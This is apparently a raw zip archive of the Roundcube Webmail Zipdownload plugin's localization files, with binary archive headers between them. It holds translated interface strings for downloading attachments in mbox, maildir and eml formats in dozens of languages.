$labels['downloadmaildir'] = 'Maildir Format (.zip)';
$labels['downloademl'] = 'Source (.eml)';
$labels['sizelimiterror'] = 'Die gesamte Grösse der ausgewählten Nachrichten übersteigt das Limit ($size)';
PKh�\���+plugins/zipdownload/localization/es_419.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Descargar todos los archivos adjuntos';
$labels['download'] = 'Descargando...';
$labels['downloadmbox'] = 'Formato mbox (.zip)';
$labels['downloadmaildir'] = 'Formato maildir (.zip)';
$labels['downloademl'] = 'Fuente (.eml)';
PKh�\�MI�'plugins/zipdownload/localization/uz.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Barcha ilovalarni ko‘chirib olish';
$labels['download'] = 'Ko‘chirish...';
$labels['downloadmbox'] = 'Mbox formati (.zip)';
$labels['downloadmaildir'] = 'Maildir formati (.zip)';
$labels['downloademl'] = 'Manba (.eml)';
PKh�\��mm*plugins/zipdownload/localization/hy_AM.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Ներբեռնել բոլո կցված նիշքերը';
PKh�\�,*plugins/zipdownload/localization/en_CA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Download all attachments';
$labels['download'] = 'Download...';
$labels['downloadmbox'] = 'Mbox format (.zip)';
$labels['downloadmaildir'] = 'Maildir format (.zip)';
$labels['downloademl'] = 'Source (.eml)';
PKh�\�
G�LL*plugins/zipdownload/localization/zh_TW.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = '下載所有附件';
$labels['download'] = '下載...';
$labels['downloadmbox'] = 'Mbox 格式 (.zip)';
$labels['downloadmaildir'] = 'Maildir 格式 (.zip)';
$labels['downloademl'] = '原始格式 (.eml)';
$labels['sizelimiterror'] = '所選郵件總大小超過限制 ($size)';
PKh�\��#ess*plugins/zipdownload/localization/ca_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Descarrega tots els adjunts';
$labels['download'] = 'Descarrega...';
$labels['downloadmbox'] = 'Format mbox (.zip)';
$labels['downloadmaildir'] = 'Format maildir (.zip)';
$labels['downloademl'] = 'Codi font (.eml)';
$labels['sizelimiterror'] = 'La mida total dels missatges seleccionats sobrepassa el límit ($size)';
PKh�\W�B.oo'plugins/zipdownload/localization/ia.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Discargar tote le attachamentos';
$labels['download'] = 'Discargar...';
$labels['downloadmbox'] = 'Formato Mbox (.zip)';
$labels['downloadmaildir'] = 'Formato Maildir (.zip)';
$labels['downloademl'] = 'Fonte (.eml)';
$labels['sizelimiterror'] = 'Le dimension total del messages seligite excede le limite ($size)';
PKh�\�3�*plugins/zipdownload/localization/bs_BA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Preuzmi sve priloge';
$labels['download'] = 'Preuzmi...';
$labels['downloadmbox'] = 'Mbox format (.zip)';
$labels['downloadmaildir'] = 'Maildir format (.zip)';
$labels['downloademl'] = 'Izvorno (.eml)';
PKh�\)R����*plugins/zipdownload/localization/ru_RU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Загрузить все вложения';
$labels['download'] = 'Загрузка...';
$labels['downloadmbox'] = 'Формат Mbox (.zip)';
$labels['downloadmaildir'] = 'Формат Maildir (.zip)';
$labels['downloademl'] = 'Исходный формат (.eml)';
$labels['sizelimiterror'] = 'Общий размер выбранных сообщений превышает лимит ($size)';
PKh�\�z�*plugins/zipdownload/localization/fa_IR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'بارگیری همه پیوست‌ها';
$labels['download'] = 'بارگیری';
$labels['downloadmbox'] = 'قالب Mbox (.zip)';
$labels['downloadmaildir'] = 'قالب Maildir (.zip)';
$labels['downloademl'] = 'منبع (.eml)';
PKh�\po]Jtt*plugins/zipdownload/localization/is_IS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Niðurhala öllum viðhengjum';
$labels['download'] = 'Hlaða niður...';
$labels['downloadmbox'] = 'Mbox snið (.zip)';
$labels['downloadmaildir'] = 'Maildir snið (.zip)';
$labels['downloademl'] = 'Upprunalegt (.eml)';
$labels['sizelimiterror'] = 'Heildarstærð valinna skilaboða fer fram yfir ($size) takmörkin';
PKh�\T���--*plugins/zipdownload/localization/vi_VN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Tải tất cả tệp tin đính kèm';
$labels['download'] = 'Tải xuống...';
$labels['downloadmbox'] = 'Định dạng mbox (.zip)';
$labels['downloadmaildir'] = 'Định dạng Maildir (.zip)';
$labels['downloademl'] = 'Mã nguồn (.eml)';
PKh�\�CFM00*plugins/zipdownload/localization/th_TH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'ดาวน์โหลดทุกไฟล์';
$labels['download'] = 'ดาวน์โหลด...';
$labels['downloadmbox'] = 'Mbox format (.zip)';
$labels['downloadmaildir'] = 'Maildir format (.zip)';
$labels['downloademl'] = 'Source (.eml)';
PKh�\��ٻ��*plugins/zipdownload/localization/ar_SA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'تحميل جميع المرفقات';
$labels['download'] = 'تحميل...';
$labels['downloadmbox'] = 'تنسيق Mbox (.zip)';
$labels['downloadmaildir'] = 'تنسيق Maildir (.zip)';
$labels['downloademl'] = 'المصدر (.eml)';
$labels['sizelimiterror'] = 'إجمالي حجم الرسائل المحددة يتجاوز الحد ($size)';
PKh�\�Q�QQ*plugins/zipdownload/localization/az_AZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Bütün qoşmaları endir';
PKh�\j@K��*plugins/zipdownload/localization/id_ID.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Unduh semua lampiran';
$labels['download'] = 'Unduh...';
$labels['downloadmbox'] = 'Format Mbox (.zip)';
$labels['downloadmaildir'] = 'Format Maildir (.zip)';
$labels['downloademl'] = 'Sumber (.eml)';
PKh�\_S��}}*plugins/zipdownload/localization/hu_HU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Összes csatolmány letöltése';
$labels['download'] = 'Letöltés...';
$labels['downloadmbox'] = 'Mbox formátum (.zip)';
$labels['downloadmaildir'] = 'Maildir formátum (.zip)';
$labels['downloademl'] = 'Forrás (.eml)';
$labels['sizelimiterror'] = 'A kiválasztott üzenetek mérete meghaladta a maximum méretet ($size) ';
PKh�\Ry�q*plugins/zipdownload/localization/ro_RO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Descarcă toate atașamentele';
$labels['download'] = 'Descarcă...';
$labels['downloadmbox'] = 'Format Mbox (.zip)';
$labels['downloadmaildir'] = 'Format Maildir (.zip)';
$labels['downloademl'] = 'Sursă (.eml)';
PKh�\���TT'plugins/zipdownload/localization/eo.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Elŝuti ĉiujn kunsendaĵojn';
PKh�\W=a���*plugins/zipdownload/localization/fr_FR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Télécharger toutes les pièces jointes';
$labels['download'] = 'Télécharger…';
$labels['downloadmbox'] = 'Format mbox (.zip)';
$labels['downloadmaildir'] = 'Format maildir (.zip)';
$labels['downloademl'] = 'Source (.eml)';
$labels['sizelimiterror'] = 'La taille totale des courriels sélectionnés dépasse la limite ($size)';
PKh�\k��*plugins/zipdownload/localization/hr_HR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Preuzmi sve privitke';
$labels['download'] = 'Preuzmi...';
$labels['downloadmbox'] = 'Mbox datoteka (.zip)';
$labels['downloadmaildir'] = 'Maildir datoteka (.zip)';
$labels['downloademl'] = 'Izvor (.eml)';
PKh�\�/vv*plugins/zipdownload/localization/pl_PL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Pobierz wszystkie jako ZIP';
$labels['download'] = 'Pobierz...';
$labels['downloadmbox'] = 'Format mbox (.zip)';
$labels['downloadmaildir'] = 'Format maildir (.zip)';
$labels['downloademl'] = 'Źródło wiadomości (.eml)';
$labels['sizelimiterror'] = 'Całkowity rozmiar wybranych wiadomości przekracza limit ($size)';
PKh�\�o���*plugins/zipdownload/localization/ja_JP.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'すべての添付ファイルをダウンロード';
$labels['download'] = 'ダウンロード...';
$labels['downloadmbox'] = 'mbox形式(.zip)';
$labels['downloadmaildir'] = 'Maildir形式(.zip)';
$labels['downloademl'] = 'ソース(.eml)';
$labels['sizelimiterror'] = '選択したメッセージのサイズの合計が制限($size)を超過します。';
PKh�\�6�hMM*plugins/zipdownload/localization/nn_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Last ned alle vedlegg';
PKh�\[A�(plugins/zipdownload/localization/ast.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Descargar tolos axuntos';
$labels['download'] = 'Descargar...';
$labels['downloadmbox'] = 'Formatu Mbox (.zip)';
$labels['downloadmaildir'] = 'Formatu Maildir (.zip)';
$labels['downloademl'] = 'Fonte (.eml)';
PKh�\��Ӛ11*plugins/zipdownload/localization/sr_CS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Преузми све прилоге';
$labels['download'] = 'Преузимање...';
$labels['downloadmbox'] = 'Mbox формат (.zip)';
$labels['downloadmaildir'] = 'Maildir формат (.zip)';
$labels['downloademl'] = 'Изворно (.eml)';
PKh�\3;��*plugins/zipdownload/localization/lb_LU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'All d\'Unhäng eroflueden';
$labels['download'] = 'Eroflueden...';
$labels['downloadmbox'] = 'Mbox-Format (.zip)';
$labels['downloadmaildir'] = 'Maildir-Format (.zip)';
$labels['downloademl'] = 'Source (.eml)';
PKh�\�>��__*plugins/zipdownload/localization/fa_AF.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'بارگزاری همه ضمیمه ها';
PKh�\��b'plugins/zipdownload/localization/br.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Pellgargañ an holl stagadennoù';
$labels['download'] = 'Pellgargañ…';
$labels['downloadmbox'] = 'Mentrezh Mbox (.zip)';
$labels['downloadmaildir'] = 'Mentrezh Maildir (.zip)';
$labels['downloademl'] = 'Tarzh (.eml)';
PKh�\�
�,,*plugins/zipdownload/localization/mk_MK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Симни ги сите прикачувања ';
$labels['download'] = 'Симни...';
$labels['downloadmbox'] = 'Mbox формат(.zip)';
$labels['downloadmaildir'] = 'Maildir формат(.zip)';
$labels['downloademl'] = 'Извор(.eml)';
PKh�\��|���*plugins/zipdownload/localization/km_KH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'ទាញ​យក​ឯកសារ​ភ្ជាប់​ទាំងអស់';
PKh�\��UU*plugins/zipdownload/localization/mn_MN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Бүх хавсралтыг татах';
$labels['download'] = 'Татаж авах...';
$labels['downloadmbox'] = 'Хайрцагны формат (.zip)';
$labels['downloadmaildir'] = 'Мэйлийн хавтасны формат (.zip)';
$labels['downloademl'] = 'Эх код (.eml)';
PKh�\�X'��*plugins/zipdownload/localization/he_IL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'להוריד את כל הצרופות';
$labels['download'] = 'מוריד כעת...';
$labels['downloadmbox'] = 'פורמט Mbox  &rlm;(zip.)';
$labels['downloadmaildir'] = 'פורמט Maildir  &rlm;(zip.)';
$labels['downloademl'] = 'מקור (eml.)';
$labels['sizelimiterror'] = 'הגודל הכולל של ההודעות שנבחרו עולה על הכמות שהוגדרה בסך ($size)';
PKh�\�6��*plugins/zipdownload/localization/ga_IE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Íosluchtaigh gach ceangaltán';
$labels['download'] = 'Íosluchtaigh...';
$labels['downloadmbox'] = 'Formáid Mbox (.zip)';
$labels['downloadmaildir'] = 'Formáid maildir (.zip)';
$labels['downloademl'] = 'Foinse (.eml)';
$labels['sizelimiterror'] = 'Sáraíonn méid iomlán na dteachtaireachtaí roghnaithe an teorainn ($size)';
PKh�\��nn*plugins/zipdownload/localization/da_DK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Download alle som .zip-fil';
$labels['download'] = 'Download...';
$labels['downloadmbox'] = 'Mbox format (.zip)';
$labels['downloadmaildir'] = 'Maildir format (.zip)';
$labels['downloademl'] = 'Kilde (.eml)';
$labels['sizelimiterror'] = 'Den totale størrelse af de valgte beskeder overskrider grænsen ($size)';
PKh�\O\V���*plugins/zipdownload/localization/sl_SI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Prenesi vse priponke';
$labels['download'] = 'Prenesi...';
$labels['downloadmbox'] = 'Mbox format (.zip)';
$labels['downloadmaildir'] = 'Maildir format (.zip)';
$labels['downloademl'] = 'Vir (.eml)';
PKh�\���2!!'plugins/zipdownload/localization/ar.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'تنزيل كل المرفقات';
$labels['download'] = 'التنزيل جار …';
$labels['downloadmbox'] = 'نسق Mbox (.zip)';
$labels['downloadmaildir'] = 'نسق Maildir (.zip)';
$labels['downloademl'] = 'المصدر (.eml)';
PKh�\C�]*plugins/zipdownload/localization/de_DE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-zipdownload/
*/

$labels['downloadall'] = 'Alle Anhänge herunterladen';
$labels['download'] = 'Herunterladen...';
$labels['downloadmbox'] = 'Mbox-Format (.zip)';
$labels['downloadmaildir'] = 'Maildir-Format (.zip)';
$labels['downloademl'] = 'Quelltext (.eml)';
$labels['sizelimiterror'] = 'Die gesamte Größe der ausgewählten Nachrichten übersteigt das Limit ($size)';
PKh�\;�@zee*plugins/zipdownload/localization/sv_SE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Zipdownload plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

